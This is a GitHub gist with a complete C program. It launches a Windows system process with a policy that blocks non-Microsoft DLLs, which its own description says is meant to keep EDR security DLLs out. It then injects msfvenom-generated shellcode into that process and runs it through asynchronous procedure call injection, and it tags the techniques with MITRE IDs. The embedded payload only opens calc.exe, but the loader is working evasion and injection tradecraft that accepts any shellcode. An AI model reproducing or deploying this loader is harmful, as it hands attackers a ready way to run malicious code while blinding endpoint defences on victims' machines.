Last active
July 15, 2024 20:12
-
-
Save wizardy0ga/fd0274be18045d170a656163035e49ea to your computer and use it in GitHub Desktop.
Spawns a process with mitigations enabled to prevent non microsoft dlls from being loaded into the process. Executes shellcode via APC injection in process.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Author: | |
wizardy0ga | |
Date: | |
July 2024 | |
Arch: | |
x64 | |
Tested on: | |
Windows 10 19045.4529 | |
Compiler: | |
MSVC | |
Mitre: | |
Privilege Escalation: | |
T1055.004 - Process Injection: Asynchronous Procedure Call | |
Defense Evasion: | |
T1562.001 - Impair Defenses: Disable or Modify Tools | |
Description: | |
Spawn a process with mitigations enabled to prevent non-microsoft signed dll's from being loaded into | |
the process. This prevents any EDR dll that is not signed by microsoft from being loaded into | |
the process. Execute shellcode in the target process via asynchronous procedure calls. | |
*/ | |
#include <windows.h> | |
#include <stdio.h> | |
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__) | |
#define api_error(api_call) printf("[!] " api_call " failed with error %d\n", GetLastError()) | |
#define error(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__) | |
/* Calc.exe - msfvenom -p windows/x64/exec CMD=calc.exe exitfunc=thread */ | |
CHAR shellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8, | |
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48, | |
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, | |
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a, | |
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c, | |
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41, | |
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b, | |
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, | |
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0, | |
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, | |
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, | |
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, | |
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, | |
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0, | |
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e, | |
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20, | |
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, | |
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, | |
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba, | |
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41, | |
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c, | |
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72, | |
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, | |
0x63,0x2e,0x65,0x78,0x65,0x00 }; | |
/* https://github.com/vxunderground/VX-API/blob/main/VX-API/ZeroMemoryEx.cpp */ | |
VOID ZeroMemoryEx(_Inout_ PVOID Destination, _In_ SIZE_T Size) | |
{ | |
PULONG Dest = (PULONG)Destination; | |
SIZE_T Count = Size / sizeof(ULONG); | |
while (Count > 0) | |
{ | |
*Dest = 0; | |
Dest++; | |
Count--; | |
} | |
return; | |
} | |
int main() { | |
CHAR TargetProcess[] = "C:\\Windows\\System32\\GameInputSvc.exe"; | |
STARTUPINFOEXA Si = { 0 }; | |
PROCESS_INFORMATION Pi = { 0 }; | |
SIZE_T AttributeListSize = 0, | |
BytesWritten = 0, | |
ShellcodeSize = sizeof(shellcode); | |
PVOID pShellcode = NULL, | |
pAttributeBuffer = NULL; | |
DWORD64 BlockPolicy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; | |
DWORD OldProtection = 0; | |
ZeroMemoryEx(&Si, sizeof(STARTUPINFOEXA)); | |
ZeroMemoryEx(&Pi, sizeof(PROCESS_INFORMATION)); | |
Si.StartupInfo.cb = sizeof(STARTUPINFOEXA); | |
Si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT; | |
/* Get the size of the attribute list & allocate a buffer for it*/ | |
InitializeProcThreadAttributeList(NULL, 1, 0, &AttributeListSize); | |
if (!(pAttributeBuffer = (LPPROC_THREAD_ATTRIBUTE_LIST)VirtualAlloc(NULL, AttributeListSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) { | |
api_error("VirtualAlloc"); | |
} | |
print("Allocated %lld byte buffer for attribute list at 0x%p", AttributeListSize, pAttributeBuffer); | |
/* Inititiaize list & add mitigation attribute */ | |
if (!InitializeProcThreadAttributeList(pAttributeBuffer, 1, 0, &AttributeListSize)) { | |
api_error("InitializeProcThreadAttributeList [Init list]"); goto Cleanup; | |
} | |
if (!UpdateProcThreadAttribute(pAttributeBuffer, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &BlockPolicy, sizeof(DWORD64), NULL, NULL)) { | |
api_error("UpdateProcThreadAttribute"); goto Cleanup; | |
} | |
/* Create process with dll blocking mitigation policy */ | |
Si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)pAttributeBuffer; | |
if (!CreateProcessA(NULL, TargetProcess, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | DEBUG_PROCESS, NULL, NULL, &Si.StartupInfo, &Pi)) { | |
api_error("CreateProcessA"); goto Cleanup; | |
} | |
print("Created blocked %s process at %d", TargetProcess, Pi.dwProcessId); | |
/* Allocate shellcode in process */ | |
if (!(pShellcode = VirtualAllocEx(Pi.hProcess, NULL, ShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) { | |
api_error("VirtualAllocEx"); goto Cleanup; | |
} | |
print("Allocated %lld byte buffer in %s at 0x%p @ %d", ShellcodeSize, TargetProcess, pShellcode, Pi.dwProcessId); | |
if (!WriteProcessMemory(Pi.hProcess, pShellcode, shellcode, ShellcodeSize, &BytesWritten) || BytesWritten != ShellcodeSize) { | |
if (BytesWritten != ShellcodeSize) { | |
error("Bytes written to buffer does not match shellcode size. Written: %lld. Expected %lld.", BytesWritten, ShellcodeSize); | |
} | |
else { | |
api_error("WriteProcessMemory"); goto Cleanup; | |
} | |
} | |
/* Execute shellcode using asynchronous procedure call injection */ | |
if (!VirtualProtectEx(Pi.hProcess, pShellcode, ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection)) { | |
api_error("VirtualProtectEx"); goto Cleanup; | |
} | |
print("Wrote %lld shellcode bytes buffer in %s at 0x%p @ %d", ShellcodeSize, TargetProcess, pShellcode, Pi.dwProcessId); | |
if (!QueueUserAPC((PAPCFUNC)pShellcode, Pi.hThread, 0)) { | |
api_error("QueueUserAPC"); goto Cleanup; | |
} | |
DebugActiveProcessStop(Pi.dwProcessId); | |
print("Launched shellcode in %s at thread id %d, 0x%p", TargetProcess, Pi.dwProcessId, pShellcode); | |
WaitForSingleObject(Pi.hThread, INFINITE); | |
printf("[+] Press enter to quit"); getchar(); | |
Cleanup: | |
if (pAttributeBuffer) { | |
DeleteProcThreadAttributeList(pAttributeBuffer); | |
VirtualFree(pAttributeBuffer, AttributeListSize, MEM_RELEASE); | |
} | |
if (Pi.hThread) { | |
CloseHandle(Pi.hThread); | |
} | |
if (Pi.hProcess) { | |
CloseHandle(Pi.hProcess); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment